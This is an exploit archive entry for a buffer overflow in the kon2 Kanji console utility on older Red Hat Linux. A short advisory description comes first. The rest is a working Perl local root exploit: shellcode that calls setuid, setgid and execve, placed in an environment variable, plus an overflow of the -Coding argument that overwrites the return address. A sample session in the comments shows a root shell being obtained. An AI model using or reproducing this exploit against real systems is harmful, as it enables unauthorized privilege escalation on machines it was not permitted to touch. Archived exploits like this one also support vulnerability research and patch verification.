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48 lines
No EOL
1.8 KiB
Perl
Executable file
48 lines
No EOL
1.8 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/7790/info
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A buffer overflow vulnerability has been reported for the kon2 utility shipped with various Linux distributions. Exploitation of this vulnerability may result in a local attacker obtaining elevated privileges on a vulnerable system.
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The vulnerability exists due to insufficient bounds checking performed on some commandline options passed to the vulnerable utility.
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#!/usr/bin/perl
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####################################################################################
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#Priv8security.com kon2 version 0.3.9b-16 and < local root exploit.
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#
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# Tested on Redhat 8.0. should work on 9.0 and 7.3
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# Bug happens on -Coding arg.
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# Based on Redhat Advisory.
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#
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# [wsxz@localhost buffer]$ perl priv8kon.pl
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# -=[ Priv8security.com kon local root exploit ]=-
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# usage: priv8kon.pl offset
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# [+] Using ret shellcode 0xbfffffc6
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# Kanji ON Console ver.0.3.9 (2000/04/09)
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#
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# KON> video type 'VGA' selected
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# KON> hardware scroll mode.
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# sh-2.05b# id
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# uid=0(root) gid=0(root) groups=500(wsxz)
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####################################################################################
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$shellcode =
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"\x31\xc0\x31\xdb\xb0\x17\xcd\x80".#setuid 0
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"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80".#setgid 0
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"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69".
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"\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
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$path = "/usr/bin/kon";
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$ret = 0xbffffffa - length($shellcode) - length($path);
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$offset = $ARGV[0];
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print "-=[ Priv8security.com kon2 local root exploit ]=-\n";
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print "usage: $0 offset\n";
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printf("[+] Using ret shellcode 0x%x\n",$ret + $offset);
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$new_retword = pack('l', ($ret + $offset));
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$buffer2 = "A" x 796;
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$buffer2 .= $new_retword;
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$buffer = $shellcode;
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local($ENV{'WSXZ'}) = $buffer;
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exec("$path -Coding $buffer2"); |